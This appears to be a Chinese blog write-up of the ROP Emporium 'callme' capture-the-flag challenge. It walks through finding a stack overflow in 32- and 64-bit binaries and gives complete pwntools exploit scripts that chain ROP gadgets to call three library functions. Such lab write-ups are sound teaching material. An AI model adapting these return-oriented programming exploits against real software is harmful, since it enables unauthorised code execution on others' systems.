callme

ROP Emporium: https://ropemporium.com/challenge/callme.html

32位
日常 checksec,开了NX


ida 查看,进入 pwnme() 函数,发现存在溢出

再进入 usefulfunction 函数进行查看


shift+f12 搜索,程序中没有 /bin/sh 字符串,也不存在 system 函数
将 .so 文件放进 ida,发现 callme_one、callme_two、callme_three 三个函数

callme_one

callme_two

callme_three

三个函数要求传入的参数都为 1、2、3
回到 callme32,看汇编,发现传入的参数为4、5、6
usefulFunction

所以需要分别对 callme_one、callme_two、callme_three 传入的参数进行修改,让程序依次调用这三个函数。
32位传入参数的时候需要注意堆栈平衡
利用 ROPgadget 找到 pop 的地址

也可以用 objdump 查找(objdump -d callme32 | grep -A 3 pop)

另外需要知道 callme_one、callme_two、callme_three 三个函数的地址,可以直接在 ida 查看,也可以直接泄露。

exp

#!usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *

p = process('./callme32')
elf = ELF('./callme32')

pop_ret = 0x080488a9
call_one = elf.plt['callme_one']
call_two = elf.plt['callme_two']
call_three = elf.plt['callme_three']

payload = 'A' * 0x28 + p32(0)
payload += p32(call_one) + p32(pop_ret) 
payload += p32(1) + p32(2) + p32(3)
payload += p32(call_two) + p32(pop_ret)
payload += p32(1) + p32(2) + p32(3)
payload += p32(call_three) + p32(pop_ret)
payload += p32(1) + p32(2) + p32(3)

p.sendline(payload)
p.interactive()

64位
思路与32位一致,但是64位前6个参数通过寄存器 rdi、rsi、rdx、rcx、r8、r9进行传递,不需要栈平衡
利用 ROPgadget,或者利用 objdump(objdump -d callme | grep -A 3 pop)



exp

#!usr/bin/env python
#-*-coding:utf-8 -*-
from pwn import *

p = process('./callme')
elf = ELF('./callme')

pop_ret = 0x0401ab0
call_one = elf.plt['callme_one']
call_two = elf.plt['callme_two']
call_three = elf.plt['callme_three']

payload = 'A' * 0X20 + p64(0)
payload += p64(pop_ret) + p64(1) + p64(2) + p64(3) + p64(call_one)
payload += p64(pop_ret) + p64(1) + p64(2) + p64(3) + p64(call_two)
payload += p64(pop_ret) + p64(1) + p64(2) + p64(3) + p64(call_three)

p.sendline(payload)
p.interactive()
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。